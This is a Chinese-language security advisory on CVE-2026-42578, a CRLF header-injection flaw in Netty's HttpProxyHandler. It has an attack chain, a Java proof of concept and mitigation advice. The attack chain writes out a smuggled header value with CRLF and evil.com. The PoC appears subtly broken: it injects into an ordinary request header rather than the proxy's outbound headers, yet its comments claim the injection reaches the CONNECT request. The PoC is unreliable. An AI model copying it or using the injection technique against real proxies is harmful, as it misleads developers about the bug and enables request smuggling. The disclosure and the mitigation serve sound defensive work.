IPBUF安全漏洞报告
English
CVE-2026-42578 CVSS 7.5 高危

CVE-2026-42578 Netty HTTP CONNECT请求头注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42578
漏洞类型
CRLF注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty

相关标签

CRLF注入NettyHTTP请求走私高危漏洞Header Injection

漏洞概述

Netty是一个广泛使用的异步事件驱动网络应用框架。在4.2.13.Final和4.1.133.Final版本之前,Netty的HttpProxyHandler组件存在严重的安全漏洞。该组件在构建HTTP CONNECT请求时,显式禁用了头部验证机制。代码直接将用户提供的出站头部添加到请求消息中,且未对关键字符(如CRLF)进行有效过滤。这使得攻击者一旦能够控制出站头部,就能向代理服务器发送的CONNECT请求中注入任意HTTP头部,进而引发请求走私或缓存投毒等攻击。

技术细节

该漏洞的根源位于Netty的`HttpProxyHandler`类中。具体而言,`newInitialMessage()`方法负责构建发送给代理服务器的HTTP CONNECT请求。代码逻辑中显式调用了`DefaultHttpHeadersFactory.headersFactory().withValidation(false)`,这导致在创建请求头时关闭了Netty默认的安全验证机制。紧接着,程序将外部传入的`outboundHeaders`直接合并到请求中,且未对其中是否包含CRLF(回车换行符)进行二次校验。攻击者可以利用这一缺陷,在原本的HTTP Header字段中插入`\r\n`字符。由于HTTP协议使用CRLF来区分头部行和头部与主体,注入这些字符允许攻击者伪造额外的头部字段(如`Host`或`Authorization`)或切断请求。这种攻击向量通常被称为CRLF注入,在特定场景下可演变为HTTP请求走私。由于该组件常用于反向代理或网关场景,此类注入可能导致中间代理设备对后续请求的解析错误,进而绕过安全检测或劫持用户会话。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别目标应用使用了受影响版本的Netty框架(< 4.1.133.Final 或 < 4.2.13.Final),并且应用通过HttpProxyHandler处理外部代理请求。
STEP 2
步骤2:武器化
攻击者构造包含CRLF字符(\r\n)的恶意HTTP头部。例如,构造一个Header值为"Origin: https://evil.com\r\nX-Forwarded-For: 127.0.0.1"。
STEP 3
步骤3:交付
攻击者向目标应用发送HTTP请求,并将构造好的恶意头部注入到请求中。
STEP 4
步骤4:利用
目标应用的HttpProxyHandler在处理出站请求时,由于禁用了验证且未过滤CRLF字符,将恶意头部直接拼接到发送给上游代理服务器的CONNECT请求中。
STEP 5
步骤5:影响
上游代理服务器解析被篡改的CONNECT请求,导致攻击者注入的头部被信任。这可能绕过安全检查(如ACL)、劫持会话或实施HTTP请求走私攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import io.netty.bootstrap.Bootstrap; import io.netty.channel.*; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.SocketChannel; import io.netty.channel.socket.nio.NioSocketChannel; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.proxy.HttpProxyHandler; import io.netty.handler.proxy.ProxyHandler; import java.net.InetSocketAddress; public class NettyCRLFPoC { public static void main(String[] args) throws Exception { EventLoopGroup group = new NioEventLoopGroup(); try { Bootstrap b = new Bootstrap(); b.group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { // Configure the proxy handler pointing to a malicious or test proxy ProxyHandler proxyHandler = new HttpProxyHandler(new InetSocketAddress("proxy.example.com", 8080)); ch.pipeline().addLast(proxyHandler); ch.pipeline().addLast(new SimpleChannelInboundHandler<HttpObject>() { @Override protected void channelRead0(ChannelHandlerContext ctx, HttpObject msg) { System.out.println("Received response: " + msg); } }); } }); Channel ch = b.connect("target.example.com", 80).sync().channel(); // Prepare the request with CRLF injection in the header // The vulnerability allows injecting \r\n to split headers String injectedHeader = "test-value\r\nX-Injected-Header: malicious-content\r\n"; HttpRequest request = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/"); request.headers().set(HttpHeaderNames.HOST, "target.example.com"); request.headers().set("User-Agent", "Netty-Client"); // This header value will be passed to outboundHeaders without validation request.headers().set("X-Vulnerable-Header", injectedHeader); ch.writeAndFlush(request); ch.closeFuture().sync(); } finally { group.shutdownGracefully(); } } } /* * Explanation: * This PoC demonstrates how an application using HttpProxyHandler might allow CRLF injection. * When the 'X-Vulnerable-Header' is processed by the vulnerable HttpProxyHandler, * the '\r\n' characters are not sanitized. This results in the CONNECT request sent * to the proxy containing additional headers ('X-Injected-Header'), which violates the * HTTP protocol structure and can lead to request smuggling or cache poisoning. */

影响范围

Netty < 4.2.13.Final
Netty < 4.1.133.Final

防御指南

临时缓解措施
如果无法立即升级版本,建议在业务代码中拦截所有通过HttpProxyHandler发出的请求头。编写Wrapper或过滤器,扫描并移除Header字段中的\r\n字符,确保发送给代理服务器的请求符合HTTP协议规范,从而阻断CRLF注入攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表